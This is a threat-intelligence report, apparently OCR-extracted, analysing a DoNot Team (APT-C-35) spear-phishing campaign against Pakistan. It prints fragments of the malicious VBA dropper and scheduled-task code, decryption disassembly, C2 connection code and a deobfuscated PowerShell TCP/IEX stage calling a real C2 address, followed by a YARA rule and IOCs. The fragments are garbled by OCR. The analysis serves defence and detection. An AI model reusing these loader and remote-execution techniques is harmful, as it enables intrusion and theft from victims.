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Executive Summary

The DoNot Team, also referred to as APT-C-35, is an advanced persistent threat (APT)
group that has been operational since at least 2016. The group is recognized for its highly
sophisticated tactics and techniques, which enable them to establish and maintain a
persistent presence on targeted systems and networks. Due to their capabilities, the DoNot
Team is considered a significant threat to organizations and individuals, with a focus on
targeting South Asian countries including India, Pakistan, Sri Lanka, and Bangladesh. We
have identified a new campaign targeting Pakistan that utilizes an Excel file attachment.
Upon enabling macros on the attachment, the VBA code within the file drops additional files
and executes them at a specific time.

Technique Analysis

APT-C-35 is an apt group malware that has been identified as part of a spear phishing email
campaign. The campaign targeted Pakistan's defence sector and used Excel documents as
a means of delivery.

The attackers used social engineering tactics, such as phishing, to trick victims into
downloading and opening the malicious Excel files. The Excel files contained macros that,
when activated, would download and install the APT-C-35 malware on the victim's device.

The APT-C-35 apt group is capable of stealing sensitive information, such as login

credentials and keystrokes, and can also allow the attackers to remotely control the infected
device.
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Figure 1 - Malicious Excel file.

Upon enabling macros on the Excel file, it executes obfuscated Visual Basic for Applications
(VBA) code that creates two files in the "C:\ProgramData\WindowsSecurity" directory and
another file in the "\Users\Public\Documents" directory. These files are subsequently
accessed by a dropped dynamic link library (dll) file. The VBA code sets a Windows Task
Scheduler task to run these files at a specific time.
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| [filexls] - Cerbero Suite Advanced 6.0 - [UNLICENSED] - Cerbero Suite =N =
H-HE @bw O0OHE » @» @» » E» & 8% |sHa225% v| oDeesss »
|y Roots & X = Output g X
# File Risk Format
1 C:\Users\Analyst\Desktop\file.xls B0% CFBF
< | 1 | 3
& Hierarchy @ % Analysis [VBA code] g X
Mame 29 For i =1 To 3 -
- 30 PBRows(l).EntireRow.Delete
= filexs 31 Next i
32 Daeilytrig
33 End Sub
34 3Sub folder create() b
35 Dim FolderName A= String, FolderExists 43 String E
368 FolderName = "C:%ProgramData‘\WindowsSecurity"™ i
37 FolderExists = Dir({FolderName, wbkDirectory)
. 38 If FolderExists = vbNullString Then
it C 39 MkDir Environs (Chr(&5) + Chr({78) + "LUSE" + Chr(82) +
. 2 ] - - " "y g oMt e "WindowsSecurity™
u - 8 x Chr{23) + ER_ + Chr(79) + Chr({70) + "ILE") & "\" & "WindowsSecuricty
40 Else:
) VBA code - 41 Exit Sub
4 X Privacy [l End If
L M jata 43 End Sub
- 44 Sub crt_txt()
45 MkDir "C:\Uzers\Puklic\Musich\Simple Music™
&5 Format s 46 Dim £ld Zs Object
g Header - 47 Set fl1d = Createfbject("Scripting.File3ystemlbiject™)
£2 Directories (H 48 Dim myFile Ls Object
4 [ Root Ent [ 49 Set myFile = fld.CreateTextFile ("C:\Users‘PublichDocuments
oot Bty o “desktop.ini.txt", True) s
Enter Python code here

Figure 2 - Malicious macro code inside the Excel file.

So we can go deep with the code of it. Upon launching the excel file and enabling macros, a
check is performed to determine the existence of the folder
"C:\ProgramData\WindowsSecurity". If the folder does not exist, it is created and then
creates a text file "C:\Users\Public\Documents\desktop.ini.txt".

It takes a byte array represented by a string in a textbox and writes it to a file
"C:\ProgramData\WindowsSecurity\winnet.dll" and This process can be observed in the
subsequent figure.
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Dir("C:\ProgramData\WindowsSecurity”,
MkDir "C:\ProgramData\WindowsSecurity"

MkDir "C:\Users\Public\Music\Simple Music"

ject("Scripting.FileSystemObject™)
&

= fld.Creat: File("C:\Users\Public\Documents\desktop.ini.txt™, True)

(49945) As
Split(UserForml.TextBoxl.Text, "-")
vl In arlGohra
hra7(

Open "C:\ProgramData\WindowsSecurity\winnet.d11” Binary Access Write As #3
Put #3, ,
Close #3

Figure 3 - Deobfuscation of VBA

And It creates a scheduled task using the Windows Task Scheduler to run the second stage
and we can see that in the next figure.
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service.Connect
As Object

taskDefinition

.RegistrationInfo. = "Task Description™

.Settings.

.Settings. = True

.Triggers.Create( )

.Actions.Create )}

JActions(1). = "C:\ProgramData‘\WindowsSecurity\winnet.d11"
End
rootFolder.RegisterTas inition("Task Name",
Application. = True
ActiveSheet.Shapes.SelectAll
Selection.Delete

Figure 4 - Set scheduled task to run second stage
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Second Stage

The second stage of the malware is a dynamic link library (DLL) that contains malicious
imports referred to as "webservice." Through the process of reverse engineering the DLL
file, it has been determined that the malware is capable of reading a file named
"desktop.ini.txt," which is dropped by an Excel file. This can be observed in the
accompanying figure.

Malware utilizes a basic decryption algorithm by pushing various hexadecimal values and
subsequently implementing a loop to decrypt crucial strings.

call ds:socket

mov edi, eax

mov eax, 2

push 1BBh ; hostshort

mov [esp+189@Ch+name.sa_family], ax

call ds:htons

mov word ptr [esp+18908h+name.sa_data], ax

lea ecx, [esp+189@8h+cp]
S

mov 3h+var_186F3], 827E8381h
mov
mov 1§ h+var
mov
mov

mov

ey

var_186E7], 8689h
var_186E5], ©

loc_16001178:

sub al, 56h

lea ecx, [ecx+1]

mov [ecx-1], al

mov al, [ecx]

test al, al

jnz short loc_10001178
| ——

Figure 5- Simple algorithm to description

By utilizing a debugger, we are able to decrypt encrypted data, as demonstrated in the
following figure.
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File View Debug Trace Plugine Favourites Options Help Dec 31 2017
O E =l Y i el = # e AL EE

B cru | ?Graph | .7 Log I | 1 Notes I % Breakpoints I 8 Memory Map I [ Call Stadk I ]
@| F41D1075 BEO 93 mow al,2=
@| F4I1D10F 7 C7 84 24 4D 02 00 00| mow dword ptr ss:|fesp+24D),BE3EEESFE
@| F41D1082 OF 28 05 DO _3IC IF 74 |mowvaps xmmd,xmmword ptr ds: [F41E3CDO]
e 7F241D1089 5 & push esi
®| Fa41D108A 57 push edi
®| F41D108E OF 11 84 24 45 02 00| mowvups xmmword ptr ss:|fesp+z4sf, xmmo
®| 7F41D1093 C7 84 24 59 02 00 00 |mowv dword ptr ss:|lesp+253),C4C8C4FE
@| F41D109E C& 84 24 5D 02 00 00 |mow byvte ptr ss:|fesp+z2sD@,0
e | F4IDI10AG 2C 5O sub al,so
! e 741D 10AS 2D 4% 01 Tea ecx,dword ptr ds:[ecx+1]
| ®| F41D10ARB 28 41 FF mowv byte ptr ds:[ecx-17,al
! ® || 741D10AE 8A 01 mowv al,byte ptr ds:[ecx]
f ®| F41DI10BO B84 CO test al,al
t———-@ || 741D10E2 ~ ¥5 F2 Jjne winnet. 741D10A6
EIF g X 8D 84 24 24 02 00 00| lea eax,dword ptr ss:|[[esp+z2z4]]
®| F41D10EE &8 BC 3IC 1E 74 push winnet.741E3CEBC
4 [0 [

al=0
byte ptr [ecx]=[002F727D]=0

SEeXKTIFHIDI0OAE winnet.d1T1: $10AE #4AE

2% Dump 1 24 Dump 2 24 Dump 3 I 24 Dump 4 I iy Dump 5 I 0 watch 1 [x=] Locals ,‘f

Address HexX ASCIT

002F721D (00 OO OO 00|00 00 OO0 00|00 OO0 00 00|00 00 00 00| @ uee.eecaaeenens
O0D2F722D (00 OO OO OO|0O0 OO0 OO0 OO0(00 OO0 OO0 00|00 OO0 OO0 O0| @ e e eeaeenena
O02F7232D (00 OO OO0 OO|00 OO0 OO0 OO0(00 OO0 OO0 O0|00 00 OO 00| @ o ee e oeeeeeea
O02F724D (00 OO0 OO0 00|00 00 OO0 S SENECHEENFIEENFZNFINED| (... ... CihUsersh,
002F725D (50 75 &2 &C|&% &3 5C 44(6&6F &3 75 6D |65 &E 74 73| PublichDocuments
O02F726D (5C &4 &5 73 |6BE 74 &6F 70(2E 69 GE &9|2E 74 78 74|‘desktop.ini.txt
O02F727D (00 OO OO OO|0O0 OO0 OO0 OO(00 OO0 OO0 OO0|00 00 OO 00| @ e eeeeaennnna
OD2F72E8D (00 OO OO0 OO|0O0 OO0 OO0 OO0(00 OO0 OO0 00|00 00 OO O0| @ e e eeaeenena
O02F729D (00 OO OO0 OO|0O0 OO0 OO0 OO(00 OO0 OO0 OO0|0D OO0 OO O0| @ e e eeaeenena
O02F72AD (OO0 OO OO0 OO|0O OO OO OO(00 OO0 OO0 00|00 00 OO0 O0| .. c. .o e eeeeauna
O02F72BD (OO0 OO OO0 OO|0OQ OO0 OO OO(00 OO0 OO0 00|00 00 OO0 O0| ..o .o e e eeeeanna
O0ZF72CD (00 OO OO0 00|00 00 OO0 00|00 OO0 OO 00|00 00 00 00| ..o .o e e eeeeauna
O0O2F720D (00 OO OO0 OO|00 OO0 OO0 00|00 OO0 00 00|00 00 O0 O0| @ e e eeaeeeena
O02F72ED (00 OO OO0 OO|0O0 OO0 OO0 OO0(00 OO0 OO0 00|00 00 O0 O0| @ e e eeaeenena
O02F72FD (00 OO OO0 OO|0OD OO0 OO OO(00 OO OO0 OOD|0D 0D OO0 O0| @ . ce . e e eeeeanna
O02F730D (00 OO OO0 OO|00 OO0 OO0 00|00 OO0 OO0 00|00 00 OO0 00| .. c. . ee e eaeeanna

Figure 6 - decrypt stings

w33 = xmmword_18813CC8;

key bytes = @x93;

w35 = -1178683818;

w34 = xmmword_18813C08;

viE = BxC4C8C4TE;

w37 = 83

do

1
*key++ = key_bytes - 88;
key_bytes = *key;

while ( *key });

config file = fopen(&v32[3], "r"); J/f \UsershPublic\Documents\desktop.ini.txt
if ( config_file )
1

fclose(config file);

rand_num = rand(};

Sleep(l@@@ * (rand _num % 188 + 128));
if ( wWsAStartup(@x282u, &WSAData) )

1
b

else

ptr_socket = vlé;

Figure 7 - Open desktop.ini.txt

In our analysis of the malware, we have encountered a significant obstacle in the third stage
of attack. Upon reading the desktop.ini.txt file, the malware is unable to proceed as it
9|Page
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recognizes the file size to be equal to zero kilobytes. This issue is depicted in the

accompanying figure.

DoNot Team (APT-C-35) Analysis of Latest Campaing

My Music
My Music
My Pictures
My Pictures
My Videos
My Videos
| SweetScape

P ER AR R

desktop.ini
desktop.ini
desktop.initd

8/27/2018 4:26 PM
7/13/2009 10:08 PM
8/27/2018 4:26 PM
1/13/2009 10:08 PP
8/27/2018 4:26 PM
7/13/2009 10:08 PM
8/27/2018 6:42 AM
8/27/2018 4:27 PM
7/13/2009 9:54 PM
1/23/2023 5:53 AM

File folder
File folder
File folder
File folder
File folder
File folder
File folder
Configuration sett...
Configuration sett...

Text Document

1KE
1KE
O KB

Figure 8 - desktop.ini.txt

Upon infection, the malware will establish a TCP connection with a remote server to receive
bytes of data. This initial socket connection and communication with the server can be used
to identify the malware. The received bytes are then compared with the "#" character,
indicating the start of a process that utilizes PowerShell to execute code. This code, believed
to be written into the "destop.ini.txt" file, is executed to carry out the malware's malicious

intent.

"} comparing buf with "#"

if ( com

andLine[14] I= "#' )

result = rand();

Sleep(100@ * (result ¥ 100 + 120));
StartupInf Bxad;

memset(&5tart nfo.lpReserved, @, 64);
if ( CreatePr ssA(@, CommandlLine, @, @,

CloseHandle(Pr
CloseHandle (Proce

}

¥
break;

icn.hProcess)
on.hThread);

*&CommandLine[i] = "lIn';
CommandLine[i + 2] = "@";
i+= 3;

}

else

while ( connect(ptr
Sleep(@x493E0u) ;

}
v29 = 3266693855;
command_line = &v28;

56 = @xBCBSBEC3;
command_line_byte = 6xC@;
31 = BxB57D7@BC;
strepy(viz, "ps");

o

@, exi

H

e _byte - "P'

H
Bx186A8U) ;

v28, a2, a3,

//213.227.154.196

addr (&
cket, &name, 16) == @xFFFFFFFF )

connect server address

al);

H
f/ powershell -e #

Figure 9- Connection with C2

Upon further analysis, it has been determined that the malware has the capability to initiate a
PowerShell process in order to execute subsequent processes.

- whoami.exe process is a command-line tool that is used to display the current user's
username and group information

Y
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- tasklist.exe process is a command-line tool that is used to display a list of
currently running processes on a system
- findste.exe used by the malware to carry out specific functions

Through a thorough analysis of the PowerShell code in question, it has been determined that
the code is utilizing a Base64 . Upon decoding the Base64 encoded data, further analysis
reveals the following results.

Recipe CN N

From Base64

9+/=
Remove non-alphabet chars [ strict mode

Remove null bytes

Output 7 e
L9, 107, 18, 195, 57, 32,45, 101, 113, 52, 54, 59, 50, 51, 5%, 41, 13,95, L1%, 101,97, 107, 105, 34, 101, L%, 115, 161, L3, 9%, 11
1,118,116,185,118,117,181,125,125,125,16, 181,183, 115,181,123, 18,105, 182,32, 48, 33,48, 84, 181,115,116, 45,88, 97,
118,184,37,34,67,58,52,32,85,115,181,114,115,%2,92,86,117,98,188,165,3%,52,32,8@, 185,59, 115,117,114, 181,115,
s2,92,82,185,105,112,168,1681,32,80,185,39,116,117,114,181,115,34,41,41,18, 123,18, 185,132,154, 158,155,138, 152
,16@,195,13@,194,168,78,101,119,45,73,116,121,189,32,45,112,97,,116,184,32,34,67,58,92,92,85,115,181, 114,115,
92,92,%9,117,98,188,185,99,92,92,20,185,99,116,117,114,121,115,92,92,83,105,189,112, 102,181, 32,58,1085,99,115
,117,114,181,115,34,32,45,116,121,112, 161,32, 34,182, 185, 168, 181, 34, 18, 125, 18, 36, 38, 32, 61,32, 78,181, 115,
,38,186,181,33,115,32,83,121,115,115,181,183,45, 78,161, 84,46,83,111, 57,187,181, 84,115, 45,84,93, 88,67, 76,185,
121,78,116,42,35,48,128,97,95,53,18@,95,57,53,58,39,44,33,52,52,51,39,41,1@,36,82,32,61,32,36,80,45,71,181,1
16,83,116,114,101,97,1@89,48,41,18, 36,582,69,32,61,32,78,121,119,45,79,98,1@85,191,599, 116, 32, 115,89, 115,84, 101,
77,46,195,79,46,23,116,82,69,97,77,82,69,65, 68,101,682, 48, 36,82,41,16,36,76,117,32,61,22,110,181,119,45,111,9
8,185,101,99,116,32,83,121,115,116,181, 183, 46,99, 184,957,114, 91,93, 32,49,18,36,188,114,67,32,61,32,39,39,18,1
13,184,185,188,181,32,48,36,188,114,6 ,188,181,118,183,115, 184,22 ,45,1a8, 116,32, 4%, 48,41,123,18, 35,76, 78,
£7,32,61,32,38,82,65,46,82,181,37,10@ ,76,117,44,32,48 ,44,32,49,41,1@,36,108,114,57,32,61,32,36, 188,112
4B7,3 ,32,36,76,117,125,22,18,326 32,61,32,36,198,114,57,45,115,112,108,165, 116,48, 34, 42,34, 41,12
236 ,32,61,32,91,105, 110,116,593, 36,76, 55,52, 91,48, 93,19, 36,58, 85,22, 61,32, 118, 161, 119,45, 111,93, 186, 181
,95,116,32,83,121,115,115, 181,189 ,45,3%, 164, 37,114,591, 93, 32,49, 18,35,82,59,32,61, 32,39, 38,18, 113,184,185, 188
,181,32,48,35,32,93,46,188,161,118,183,115,1684,32 45,188, 116,32,36,75,65,41,123,18,36,78,67,32,61,32,36,82,8
9,46,82,191,37,182,48,36,98,85,44,32 48,44, 32 49, 41,18,35,52,99,32,61,32,36,82,99,32,43,32,36,98,85,125,32,1
8,26,82,99,32,61,32,36,32,99,45,84,114, 185, 109,48,41,16,36,68,180,99,32,61,32,26,82,99,45,53,112,108,185,115
,48,34,44,34,41,18,36,55,22,61,32,34,34,18,162,111,114, 32,49, 36,105, 51,43, 53, 36,185, 22, 45,108, 116,32, 36, 68,1

Figure 10 - decode encode data

we were able to successfully deobfuscate the embedded PowerShell code. The
deobfuscated code is shown in the accompanying figure.

s.TcPCLieNt(" c5dc952" "4
DeR(%R)
{$1rC.length -1

= %RE. d($Lu,
= $1rC + SLu}

em.char[] 1

($Rc.length -1t $L
$RE. d({$bU, 1)
$Rc + ThU}
= $Rc.Trim
$Ddc = $Rc.Split(",

i -1t $Ddc.length;$i++)

+ [char][int]$Ddc[$1]
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Figure 11 - deobfuscation of powershell code
Based on our analysis, this script is likely designed to check for the existence of specific
folders on the host system and create them if they do not exist. However, it also establishes
a connection to an external IP address and port number and uses the IEX command to
execute data received from this connection.

C2 communication

During the second stage of the malware's operation, it establishes communication with a
specific IP address. This IP address is decrypted utilizing a runtime algorithm, which can be
identified as a simple arithmetic algorithm.

Upon decryption of the IP, a connection is established with the IP address 213.227.154.196
through the TCP protocol to receive a Portable Executable (PE) file. The received file is then
parsed and loaded into memory for execution.

] rundll32.exe:2316 Properties EIIEI

Image | Performance I Performance Graph | Disk and Metwark
GPU Graph | Threads | TCR/TP | Security | Environment | Strings

Resolve addreszes

F‘rc:tfc:... Local Address Remote Address State

TCP analystpclocalde... 213.227.154.196:... CLOSE_WAIT

Figure 12- TCP connection
The IP address range allocated for use in this process is "213.227.128.0 - 213.227.159.255",
with the handle for this range also being the same. This range is of IP version IPv4 and has
been assigned the name "NL-LEASEWEB-20000721". It is classified as "ALLOCATED PA",
which stands for Provider Aggregatable, and is associated with the country code "NL".

12|Page
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Yara Rule

rule DoNot_APT_DLL: DoNot APT DLL

{
meta:
description = "DoNot_APT_DLL"
author = "@malgamy12"
date = "2023/1/14"
samplel = "d1b828440268685f40albb45dda46748d0713a2365e669806d3b6b14f370bb3f"
strings:
$op ={2C ?? 8D 49 ?? 88 41 ?? 8A 01 84 CO 75}
$pdb = "C:\\Users\\user\\source\\repos\\psdll\\Release\\psdll.pdb" ascii
$s1 = "webservice" ascii
$s2 = "CreateProcessA" ascii
condition:
uint16(0) == Ox5A4D and all of them
}

Indicator of Compromise (I0OC)

Hashes
e 9de6b542a323b5198dbf472d612313f0cc236e9156e78c583da055d0ce7a29f7
e d1b828440268685f40albb45dda46748d0713a2365e669806d3b6b14f370bb3f
e b59913878de7c9bl0a2c4dfc4f9d1634b95510b4efafb546c46ef076f917911c
Paths
e \Users\Public\Documents\desktop.ini.txt
e C:\ProgramData\WindowsSecurity\winnet.dll
e C:\ProgramData\WindowsSecurity\winnet.zip
IPs
e 213.227.154.196
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Mitre ATT&CK Tactics and Techniques

Tactic Technique ID Technigue Name
Execution T1064 Scripting confidence

T1203 Exploitation for Client Execution confidence
Defense Evasion | T1036 Masquerading confidence

T1064 Scripting confidence
Discovery T1083 File and Directory Discovery confidence

T1082 System Information Discovery confidence
Defense Evasion T1218.011 Rundll32 confidence

T1497 Virtualization/Sandbox Evasion
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